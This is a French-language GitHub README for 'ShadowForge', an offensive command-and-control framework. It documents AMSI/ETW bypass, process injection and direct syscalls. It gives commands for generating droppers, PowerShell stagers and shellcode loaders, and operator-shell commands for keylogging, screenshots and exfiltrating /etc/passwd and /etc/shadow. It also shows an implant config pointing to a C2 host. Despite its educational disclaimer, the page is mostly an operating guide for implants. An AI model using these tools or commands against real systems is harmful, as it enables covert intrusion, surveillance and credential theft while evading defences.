Skip to content

s1d9e/shadowforge

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

ShadowForge

Python License Red Team Forks

ShadowForge Logo

"Trust no one. Suspect everyone..."

ShadowForge est un framework C2 (Command & Control) red team avancΓ©. Un toolkit complet pour la post-exploitation, la dΓ©fense evasion, et les opΓ©rations offensives en sΓ©curitΓ©.

⚠️ Avertissement✨ FonctionnalitΓ©sπŸ“¦ InstallationπŸš€ UtilisationπŸ“¦ Modules🀝 Contribuer


⚠️ Avertissement - Important

AVERTISSEMENT LÉGAL

ShadowForge est un outil Γ  usage Γ©ducatif uniquement.

  • βœ… Utilisez-le sur votre propre infrastructure
  • βœ… Utilisez-le dans un environnement de laboratoire isolΓ©
  • βœ… Avec autorisation explicite du propriΓ©taire du systΓ¨me
  • ❌ Toute utilisation malveillante ou non autorisΓ©e est interdite

L'auteur ne peut Γͺtre tenu responsable de toute utilisation abusive. Respectez les lois de votre juridiction.


✨ Fonctionnalités

Feature Description
πŸ–₯️ C2 Server Serveur C2 async avec gestion d'agents
πŸ€– Agent Cross-Platform Support Windows, Linux, macOS
πŸ›‘οΈ Defense Evasion AMSI/ETW bypass, syscalls directs
πŸ’‰ Process Injection Classic, APC, process hollowing
πŸ”’ Encryption AES-256-GCM, XOR, certificate pinning
πŸ“‘ C2 Protocols HTTP, HTTPS, DNS tunneling
🐍 Payload Generator Python droppers, PS1 stagers, shellcode loaders
πŸ“¦ Post-Exploitation Screenshot, keylogger, port scanner, exfiltration

Techniques d'Evasion

βœ“ AMSI Bypass (patch + unhook)
βœ“ ETW Bypass (NtTraceEvent patching)
βœ“ Direct Syscalls (bypass API hooks)
βœ“ RWX Memory Obfuscation
βœ“ Parent PID Spoofing
βœ“ Userland Hooks Bypass
βœ“ Network Tunneling (HTTP/DNS)
βœ“ Sleep Obfuscation + Jitter

πŸ“¦ Installation

# Cloner le repo
git clone https://github.com/s1d9e/shadowforge.git
cd shadowforge

# Installer les dΓ©pendances
pip install -r requirements.txt

# Ou utiliser le script d'installation
chmod +x install.sh
./install.sh

# Lancer le serveur C2
python server/c2_server.py

DΓ©pendances

pycryptodome>=3.18.0    # AES encryption
paramiko>=3.0.0         # SSH functionality
pyautogui>=0.9.54       # Cross-platform screenshots
pillow>=10.0.0          # Image processing
pywin32>=306            # Windows API (Windows only)

πŸš€ Utilisation

Serveur C2

# Mode basique
python server/c2_server.py

# Avec options
python server/c2_server.py --host 0.0.0.0 --port 8443 --db shadowforge.db

Shell Interactif

shadowforge> help
shadowforge> list                    # Liste des agents connectΓ©s
shadowforge> interact <session>     # Interagir avec un agent
shadowforge> exec whoami             # ExΓ©cuter commande
shadowforge> screenshot             # Capturer l'Γ©cran
shadowforge> keylogger 60           # Keylogger (60 sec)
shadowforge> portscan 192.168.1.1   # Scanner ports
shadowforge> exfiltrate /etc/passwd # Voler un fichier
shadowforge> kill                   # Tuer l'agent
shadowforge> exit                   # Quitter

GΓ©nΓ©ration de Payloads

# Python dropper
python exploits/payload_gen.py --mode dropper \
  --input agent/agent.py \
  --output output/implant.py

# PowerShell stager (Meterpreter-compatible)
python exploits/payload_gen.py --mode stager \
  --lhost 10.0.0.1 \
  --lport 8443 \
  --format ps1

# Shellcode loader
python exploits/payload_gen.py --mode loader \
  --shellcode shellcode.bin \
  --output output/loader.exe

Mode CLI

# GΓ©nΓ©rer un payload
python shadowforge.py gen --mode stager --lhost 10.0.0.1 --lport 8443

# DΓ©marrer un listener
python shadowforge.py listen --port 4444

# Utilitaires
python shadowforge.py utils hash "password"
python shadowforge.py utils b64 "secret" --encode

πŸ“¦ Modules

Modules Agent

Module Description Usage
screenshot Capture du bureau screenshot
keylogger Enregistrement des frappes keylogger 60
portscanner Scan TCP avec dΓ©tection de services portscan 192.168.1.1
shell ExΓ©cution de commandes shell whoami
exfiltrate TΓ©lΓ©chargement de fichiers exfiltrate /etc/shadow
process ContrΓ΄le de processus process list/kill/inject

Module Evasion

from agent.evasion import AMSIBypass, ProcessInjection, SyscallWrapper

# Patch AMSI
AMSI.patch_amsi_init()

# Injection classique
ProcessInjection.classic_injection(pid, shellcode)

# Syscalls directs
syscall = SyscallWrapper()
addr = syscall.nt_allocate_virtual_memory(pid, size)

πŸ—οΈ Architecture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                      SHADOWFORGE FRAMEWORK                       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                  β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                  β”‚
β”‚  β”‚   OPERATOR   │◄──────►│    C2 SERVER     β”‚                  β”‚
β”‚  β”‚   (YOU)      β”‚  tasks β”‚  (c2_server.py) β”‚                  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ result β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                  β”‚
β”‚                                    β”‚                            β”‚
β”‚         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”β”‚
β”‚         β”‚                           β”‚                           β”‚β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”           β”Œβ”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”          β”Œβ”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”
β”‚  β”‚  HTTP/HTTPS β”‚           β”‚    LISTENER   β”‚          β”‚     SMB       β”‚
β”‚  β”‚   BEACON    β”‚           β”‚   MANAGER     β”‚          β”‚   HANDLER     β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜           β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”‚                                                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  β”‚                      AGENT IMPLANT                                β”‚
β”‚  β”‚                                                                  β”‚
β”‚  β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  β”‚Screenshotβ”‚  β”‚ Keylogger β”‚  β”‚ PortScannerβ”‚  β”‚  Exfiltrate  β”‚   β”‚
β”‚  β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚  β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  β”‚  Shell  β”‚  β”‚  Process  β”‚  β”‚ Persistenceβ”‚  β”‚   Evasion    β”‚   β”‚
β”‚  β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”‚                          β”‚ TARGET MACHINE
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ“ Configuration

Agent (config/settings.py)

AGENT_CONFIG = {
    "c2_server": "https://c2.shadowforge.io",
    "c2_port": 8443,
    "poll_interval": 5,
    "jitter_range": [0, 30],
    "kill_date": None,
    "persistence_method": "registry",
    "encryption_enabled": True,
}

Server

C2_CONFIG = {
    "bind_host": "0.0.0.0",
    "bind_port": 8443,
    "database": "shadowforge.db",
    "max_agents": 1000,
    "task_timeout": 300,
}

πŸ—οΈ Structure

shadowforge/
β”œβ”€β”€ agent/
β”‚   β”œβ”€β”€ agent.py           # Implant principal (~710 lignes)
β”‚   β”œβ”€β”€ evasion.py         # Techniques d'evasion (~460 lignes)
β”‚   └── utils.py           # Utilitaires (~280 lignes)
β”œβ”€β”€ server/
β”‚   β”œβ”€β”€ c2_server.py       # Serveur C2 (~650 lignes)
β”‚   └── listener.py        # Gestionnaire de listeners (~300 lignes)
β”œβ”€β”€ exploits/
β”‚   β”œβ”€β”€ payload_gen.py     # GΓ©nΓ©rateur de payloads (~310 lignes)
β”‚   └── exploits.py         # Outils d'exploitation (~390 lignes)
β”œβ”€β”€ config/
β”‚   └── settings.py         # Configuration
β”œβ”€β”€ docs/
β”‚   β”œβ”€β”€ techniques.md       # Documentation techniques
β”‚   └── QUICKSTART.md      # Guide rapide
β”œβ”€β”€ shadowforge.py         # CLI unifiΓ©e (~160 lignes)
β”œβ”€β”€ setup.py               # Setuptools
β”œβ”€β”€ requirements.txt       # DΓ©pendances
β”œβ”€β”€ README.md
β”œβ”€β”€ LICENSE
β”œβ”€β”€ CHANGELOG.md
β”œβ”€β”€ CONTRIBUTING.md
└── SECURITY.md

🀝 Contribuer

Les contributions sont les bienvenues !

  1. Fork le projet
  2. CrΓ©ez une branche (git checkout -b feature/AmazingFeature)
  3. Commit (git commit -m 'Add AmazingFeature')
  4. Push (git push origin feature/AmazingFeature)
  5. Ouvrez une Pull Request

πŸ“œ Licence

MIT License - Voir LICENSE


πŸ™ Remerciements

  • Framework inspirΓ© des techniques C2 modernes
  • DΓ©veloppΓ© pour la communautΓ© cybersΓ©curitΓ© franΓ§aise πŸ‡«πŸ‡·
  • Outil de recherche en sΓ©curitΓ© offensive

Made with πŸ›‘οΈ by s1d9e | ShadowForge C2 Framework - For Educational Purposes Only

About

Advanced Red Team C2 Framework - Post-exploitation, defense evasion, and offensive security toolkit

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors